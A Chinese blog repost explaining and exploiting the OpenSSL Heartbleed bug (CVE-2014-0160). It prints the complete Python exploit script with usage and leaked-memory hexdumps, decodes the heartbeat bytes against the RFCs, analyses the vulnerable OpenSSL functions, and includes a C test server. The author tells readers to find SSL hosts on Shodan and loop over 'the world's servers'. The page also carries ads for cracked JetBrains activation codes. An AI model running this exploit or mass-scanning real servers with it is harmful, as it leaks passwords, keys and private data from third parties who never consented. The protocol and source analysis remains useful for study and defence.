1. 全栈程序员必看首页

HeartBleed漏洞详解与利用「建议收藏」

全栈程序员-用户IM • • 未分类

HeartBleed漏洞详解与利用「建议收藏」看一下流传的Python利用脚本。#!/usr/bin/python#QuickanddirtydemonstrationofCVE-2014-0160byJaredStafford(jspenguin@jspenguin.org)#Theauthordisclaimscopyrighttothissourcecode.

大家好，又见面了，我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

HeartBleed漏洞详解与利用「建议收藏」

看一下流传的Python利用脚本。
#!/usr/bin/python

# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.

import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser

options = OptionParser(usage=’%prog server [options]’, description=’Test for SSL heartbeat vulnerability (CVE-2014-0160)’)
options.add_option(‘-p’, ‘–port’, type=’int’, default=443, help=’TCP port to test (default: 443)’)

def h2bin(x):
    return x.replace(‘ ‘, ”).replace(‘\n’, ”).decode(‘hex’)

hello = h2bin(”’
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
”’)

hb = h2bin(”’ 
18 03 02 00 03
01 40 00
”’)

def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ‘ ‘.join(‘%02X’ % ord(c) for c in lin)
        pdat = ”.join((c if 32 <= ord(c) <= 126 else ‘.’ )for c in lin)
        print ‘  %04x: %-48s %s’ % (b, hxdat, pdat)
    print

def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ”
    remain = length
    while remain > 0:
        rtime = endtime – time.time() 
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
        

def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print ‘Unexpected EOF receiving record header – server closed connection’
        return None, None, None
    typ, ver, ln = struct.unpack(‘>BHH’, hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print ‘Unexpected EOF receiving record payload – server closed connection’
        return None, None, None
    print ‘ … received message: type = %d, ver = %04x, length = %d’ % (typ, ver, len(pay))
    return typ, ver, pay

def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print ‘No heartbeat response received, server likely not vulnerable’
            return False

        if typ == 24:
            print ‘Received heartbeat response:’
            hexdump(pay)
            if len(pay) > 3:
                print ‘WARNING: server returned more data than it should – server is vulnerable!’
            else:
                print ‘Server processed malformed heartbeat, but did not return any extra data.’
            return True

        if typ == 21:
            print ‘Received alert:’
            hexdump(pay)
            print ‘Server returned error, likely not vulnerable’
            return False

def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print ‘Connecting…’
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print ‘Sending Client Hello…’
    sys.stdout.flush()
    s.send(hello)
    print ‘Waiting for Server Hello…’
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print ‘Server closed connection without sending Server Hello.’
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break

    print ‘Sending heartbeat request…’
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)

if __name__ == ‘__main__’:
    main()


用法：openssl.py ip/域名 -p 端口

纠正一点，for b in xrange(0, len(s), 16):表示的是显示结果的步长，因此不需要改为64，这个并不是表示溢出64 KB内存     

我们要做的很简单 跑起python    

HeartBleed漏洞详解与利用「建议收藏」

去撒旦上搜995或者其他用着SSL的端口（445好像要收钱）

HeartBleed漏洞详解与利用「建议收藏」


撒旦似乎是给了API 的demo，GIT地址：https://github.com/achillean/shodan-python.git

写一个循环，遍历全世界的服务器吧。当然，后面的那些资料，你得为你的好奇心。。。交钱。。

再来谈谈那个脚本的事情。

上面比较重要和难以理解的是hello和hb两个字符串的意思到底是什么。

首先看hb这个字符串的几个字节是什么意思， 通过阅读RFC6520我们可以得到heartbeat的数据结构：

  enum {

      heartbeat_request(1),

      heartbeat_response(2),

      (255)

   } HeartbeatMessageType;

 

   struct {

      HeartbeatMessageType type;

      uint16 payload_length;

      opaque payload[HeartbeatMessage.payload_length];

      opaque padding[padding_length];

   } HeartbeatMessage;

这个数据结构的总长度不能超过2的14次方。

 

type:  消息类型，  heartbeat_request 或者 heartbeat_response中的一个，不是0x01就是0x02，1byte。

payload_length: payload的长度, 2个bytes。

 

payload：内容是任意的东西，接收端收到之后必须忽略掉里面的具体内容，如果接收端响应这个request，那么需要将里面的内容原封不动拷贝回发送端。

 

padding: 也是一些随即的乱起八糟的内容，必须被接收端忽略掉。

 

padding_length:  TLSPlaintext.length – payload_length – 3 for TLS 或者 DTLSPlaintext.length – payload_length – 3 for DTLS.  至少是16bytes.

 

在这个RFC6520中有下面一句话，IANA has assigned the heartbeat content type (24) from the “TLS ContentType Registry” as specified in [RFC5246]

 

意思就是说IANA这个组织把heartbeat content type的编号定为了24

 

我们去RFC5246中查找TLSPlaintext结构的定义。

 

RFC5246附录A中开头的定义如下：

 

struct {

       uint8 major;

       uint8 minor;

   } ProtocolVersion;

 

   ProtocolVersion version = { 3, 3 };     /* TLS v1.2*/

 

   enum {

       change_cipher_spec(20), alert(21), handshake(22),

       application_data(23), (255)

   } ContentType;

 

   struct {

       ContentType type;

       ProtocolVersion version;

       uint16 length;

       opaque fragment[TLSPlaintext.length];

   } TLSPlaintext;

 

 

type:1个byte，这里应该是heartbeat，24, 0x18

 

version:2个bytes

 

length：2个bytes

 

fragment: 具体的extension的message.

 

上面这一系列数据结构翻译成用c语言的数据结构就是：

 

struct {

 

       ContentType type;         //1byte

       ProtocolVersion version; //2bytes

       uint16 length;                    //2bytes

       HeartbeatMessageType type;          //1bytes

       uint16 payload_length;                   //2bytes

       char payload[payload_length];     

       char padding[padding_length];

 

}HeartBeatPlainText;

 

 

这样我们就可以对应的看出来hb到底是什么意思了：

 

hb = h2bin(”’ 

18 03 02 00 03

01 40 00

”’)

18表示heartbeat type

 

03 02表示TLS的版本号，这里表示TLS v1.1

 

00 03表示heartbeatmessage的长度，也就是TLSplaintext的payload的长度

 

01表示heartbeat_request

 

40 00 表示payload length, 2**14

 

其中payload和padding都没有，这样正好就可以利用漏洞将后面内存中的数据dump出来了。

 

OK, 现在hb已经清楚了。

 

hello有225bytes, 具体的每个域的意思可以参考RFC 5246 7.4.1 

 

https://tools.ietf.org/html/rfc5246#section-7.4.1

最好通过wireshark抓https的包来看client hello的解析。一目了然。

 

 

另外：通过在自己机器上测试发现XAMPP for Linux 1.8.3-3用的就是有漏洞的版本的openssl, 可以用这个脚本来进行测试，抓包。

 

转一段分析的文章：

测试一：

HeartBeat Requst包

hb = h2bin(”’

18 03 02 00 03

01 20 00

”’)

蓝色的01表示的是心跳包的类型为request方向。对应源代码中就是#define TLS1_HB_REQUEST 1

红色的20 00表示的心跳请求包的length字段，占两个字节，对应的长度值为8192。

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 8211

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 20 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C . ….SC[…r…

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H…9…….

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3….f…..”.

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8………5.

蓝色的02表示的是心跳包的类型为response方向。

对应源代码中就是#define TLS1_HB_RESPONSE 2

红色的20 00表示的心跳响应包的length字段，占两个字节，对应的长度值为8192。和request包的length值一样。

绿色部分就是非法获取到的越界数据(可能包含用户名、密码、邮件、内网IP等敏感信息)。

测试二：

在测试一的基础上，修改了request心跳包的length字段的值，从20 00 修改到 30 00

HeartBeat Requst包

hb = h2bin(”’

18 03 02 00 03

01 30 00

”’)

30 00两个字节对应的长度为12288（8192+4096）

HeartBeat Response包

[root@server test]# python ssltest.py 127.0.0.1 -p 9876 > 1

Sending heartbeat request…

… received message: type = 24, ver = 0302, length = 12307

Received heartbeat response:

WARNING: server returned more data than it should – server is vulnerable!

Received heartbeat response:

0000: 02 30 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .0….SC[…r…

0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H…9…….

0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3….f…..”.

0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8………5.

两个测试用例中，response的length长度值总是比request的长度多出来了19个byte，为什么？

因为，TLS和DTLS在处理类型为TLS1_HB_REQUEST的心跳请求包逻辑中，在从堆空间上申请内存大小时，有4部分决定type+length+request的数据长度+pad，其中type,length,pad字段分为占1byte，2byte，16byte，所以response的数据总是比request的多出来19byte。

源码分析

概要说明

该漏洞主要是内存泄露问题，而根本上是因为OpenSSL在处理心跳请求包时，没有对length字段（占2byte，可以标识的数据长度为64KB）和后续的data字段做合规检测。生成心跳响应包时，直接用了length对应的长度，从堆空间申请了内存，既便是真正的请求data数据远远小于length标识的长度。

相关解析源码说明

存在该漏洞的源文件有两个ssl/d1_both.c和ssl/t1_lib.c。

心跳处理逻辑分别是dtls1_process_heartbeat和tls1_process_heartbeat两个函数。

dtls1_process_heartbeat函数处理逻辑：

Step1.获取心跳请求包对应的SSLv3记录中数据指针字段，指向request的请求数据部分。

unsigned char *p = &s->s3->rrec.data[0];

record记录的数据格式应该包含了三个字段：type， length， data；分别占1byte，2byte，length的实际值。

Step2.

/* Read type and payload length first */

hbtype = *p++;

n2s(p, payload);

pl = p;

做了两件事，获取了type类型以及length字段的值（存放到payload中），然后将pl指向真正的data数据。

Step3.

/* Allocate memory for the response, size is 1 byte

* message type, plus 2 bytes payload length, plus

* payload, plus padding

*/

buffer = OPENSSL_malloc(1 + 2 + payload + padding);

bp = buffer;

悲剧开始上演了。没有判断请求记录中的真正数据长度，直接用length字段的值来申请空间。对应于测试一中的异常数据包的话，buffer申请的内存大小就是8211byte。但是实际应该申请的大小仅仅就几个字节。

Step4.

/* Enter response type, length and copy payload */

*bp++ = TLS1_HB_RESPONSE;

s2n(payload, bp);

memcpy(bp, pl, payload);

bp += payload;

悲剧形成了。填充响应记录，第一个字节填充类型，第二、三个字节填充request记录中length的值，紧接着，将request的data填充为响应的data数据。异常情况下，payload对应的长度远远大于真正应该使用的合法的data数据长度，这样，就导致了非法越界访问相邻内存空间的数据。

tls1_process_heartbeat函数的处理逻辑和dtls1_process_heartbeat一样，此处就不再做详细分析了。

附：ssl_server.c

编译方式(请根据实际环境自行修改相关路径)

gcc -g -o ssl_server ssl_server.c -I/root/openssl_101f_prex/include/ -L/root/openssl_101f_prex/lib/ -lssl

该代码是文中用于调试存在漏洞的libssl.so库的server端，供对该漏洞感兴趣的安全研究人员、安全爱好者们自行后续调试。希望这段独立的代码能让大家意识到这个漏洞持续的高等级威胁：截至目前，心血漏洞仅仅是刚开始出血，避免这个漏洞引起互联网业务大血崩此刻就要开始更多的行动了！

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

#include “openssl/bio.h”

#include “openssl/rsa.h”

#include “openssl/crypto.h”

#include “openssl/x509.h”

#include “openssl/pem.h”

#include “openssl/ssl.h”

#include “openssl/err.h”

#define server_cert “./server.crt”

#define server_key “./server.key”

#define ca_cert “./ca.crt”

#define PORT 9876

#define CHK_NULL(x) if ((x)==NULL) exit (1)

#define CHK_ERR(err,s) if ((err)==-1) { perror(s); exit(1); }

#define CHK_SSL(err) if ((err)==-1) { ERR_print_errors_fp(stderr); exit(2); }



int main ()

{

int err;

int listen_sd = -1;

int sd = -1;

struct sockaddr_in sa_serv;

struct sockaddr_in sa_cli;

int client_len;

SSL_CTX* ctx = NULL;

SSL* ssl = NULL;

X509* client_cert = NULL;

char* str = NULL;

char buf [4096];

SSL_METHOD *meth = NULL;


SSL_library_init();

SSL_load_error_strings();

ERR_load_BIO_strings();

OpenSSL_add_all_algorithms();

meth = (SSL_METHOD *)SSLv23_server_method();

ctx = SSL_CTX_new(meth);

if (NULL == ctx) {

goto out;

}

//SSL_CTX_set_verify(ctx,SSL_VERIFY_PEER,NULL);

//SSL_CTX_load_verify_locations(ctx,ca_cert,NULL);

if (SSL_CTX_use_certificate_file(ctx, server_cert, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (SSL_CTX_use_PrivateKey_file(ctx, server_key, SSL_FILETYPE_PEM) <= 0) {

goto out;

}

if (!SSL_CTX_check_private_key(ctx)) {

printf(“Private key does not match the certificate public key\n”);

goto out;

}

listen_sd = socket(AF_INET, SOCK_STREAM, 0);

if (-1 == listen_sd) {

goto out;

}

memset (&sa_serv, ‘\0′, sizeof(sa_serv));

sa_serv.sin_family = AF_INET;

sa_serv.sin_addr.s_addr = INADDR_ANY;

sa_serv.sin_port = htons(PORT);

err = bind(listen_sd, (struct sockaddr*) &sa_serv, sizeof(sa_serv));

if (-1 == err) {

goto out;

}

err = listen(listen_sd, 5);

if (-1 == err) {

goto out;

}

client_len = sizeof(sa_cli);

sd = accept(listen_sd, (struct sockaddr*)&sa_cli, &client_len);

if (-1 == err) {

goto out;

}

printf (“Connection from %d, port %d\n”,sa_cli.sin_addr.s_addr, sa_cli.sin_port);

ssl = SSL_new(ctx);

if (NULL == ssl) {

goto out;

}

SSL_set_fd(ssl, sd);

err = SSL_accept(ssl);

if (NULL == ssl) {

goto out;

}

/*

printf (“SSL connection using %s\n”, SSL_get_cipher(ssl));

client_cert = SSL_get_peer_certificate(ssl);

if (client_cert != NULL) {

printf (“Client certificate:\n”);

str = X509_NAME_oneline (X509_get_subject_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t subject: %s\n”, str);

Free (str);

str = X509_NAME_oneline (X509_get_issuer_name (client_cert), 0, 0);

CHK_NULL(str);

printf (“\t issuer: %s\n”, str);

Free (str);

X509_free (client_cert);

}

else

printf (“Client does not have certificate.\n”);

*/

err = SSL_read(ssl, buf, sizeof(buf) – 1);

if (err == -1) {

goto out;

}

buf[err] = ‘\0′;

printf (“Got %d chars:’%s’\n”, err, buf);

err = SSL_write(ssl, “I hear you.”, strlen(“I hear you.”));

CHK_SSL(err);


out:

if (-1 != sd) {

close(sd);

}

if (-1 != listen_sd) {

close(listen_sd);

}


if (ssl) {

SSL_free(ssl);

}

if (ctx) {

SSL_CTX_free(ctx);

}

return 0;

}

版权声明：本文内容由互联网用户自发贡献，该文观点仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 举报，一经查实，本站将立刻删除。

发布者：全栈程序员-用户IM，转载请注明出处：https://javaforall.cn/159910.html原文链接：https://javaforall.cn

【正版授权，激活自己账号】： Jetbrains全家桶Ide使用，1年售后保障，每天仅需1毛

【官方授权 正版激活】： 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

赞 (0)
全栈程序员-用户IM全栈程序员-用户IM
0 0


相关推荐

  • RPC协议底层原理与实现「建议收藏」

    RPC协议底层原理与实现「建议收藏」

    RPC协议底层原理与实现「建议收藏」RPC协议基本组成在一个典型RPC的使用场景中，包含了服务发现、负载、容错、网络传输、序列化等组件，其中RPC协议就指明了程序如何进行网络传输和序列化。也就是说一个RPC协议的实现就等于一个非透明的RPC调用，如何做到的的呢？Client客户端Server服务端协议基本组成：    1.  地址：服务提供者地址；2.  端口：协议指定开放的端口；3.  运行服务:1.  netty（…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年5月19日
  • 关于注释「建议收藏」

    关于注释「建议收藏」

    关于注释

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年3月7日
  • 最新DataGrip2021.4.x破解版激活码_通用破解码 idea

    最新DataGrip2021.4.x破解版激活码_通用破解码

    最新DataGrip2021.4.x破解版激活码_通用破解码，https://javaforall.cn/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧！

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年3月17日
  • 溢出OF和进位CF标志位的判定

    溢出OF和进位CF标志位的判定

    溢出OF和进位CF标志位的判定一、学习CF与OF，要始终牢记一点。CF是无符号数溢出标志，OF是有符号数溢出标志。通俗一点说就是，即使有符号数相加/相减导致了CF=1也没什么意义，不能说明结果的正确与否。此时，OF=1，则说明结果溢出，出现错误；OF=0，说明结果正确。这个过程根本和CF没关系，CF=1/0，都不会影响。同理也可以得出OF对无符号数也无影响。举个例子：[9-6]补=[9]补-[6]补=[9]补+[-6]补[9]…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年7月12日
  • 【Time】 不确定度的A类、B类评定及合成

    【Time】 不确定度的A类、B类评定及合成

    【Time】 不确定度的A类、B类评定及合成不确定度的A类、B类评定及合成由于测量结果的不确定度往往由多种原因引起的，对每个不确定度来源评定的标准偏差，称为标准不确定度分量，用符号ui表示。（1）不确定度的A类评定用对观测列进行统计分析的方法来评定标准不确定度，称为不确定度A类评定；所得到的相应标准不确定度称为A类不确定度分量，用符号uA表示。它是用实验标准偏差来表征。计算公式：一次测量结果An的uA=S；…

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年4月19日
  • POSTMAN自动生成接口文档_django官方文档

    POSTMAN自动生成接口文档_django官方文档

    POSTMAN自动生成接口文档_django官方文档介绍drf-spectacular是为DjangoRESTFramework生成合理灵活的OpenAPI3.0模式。它可以自动帮我们提取接口中的信息，从而形成接口文档，而且内容十分详细，再也不

    全栈程序员-用户IM 全栈程序员-用户IM
    2022年7月31日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号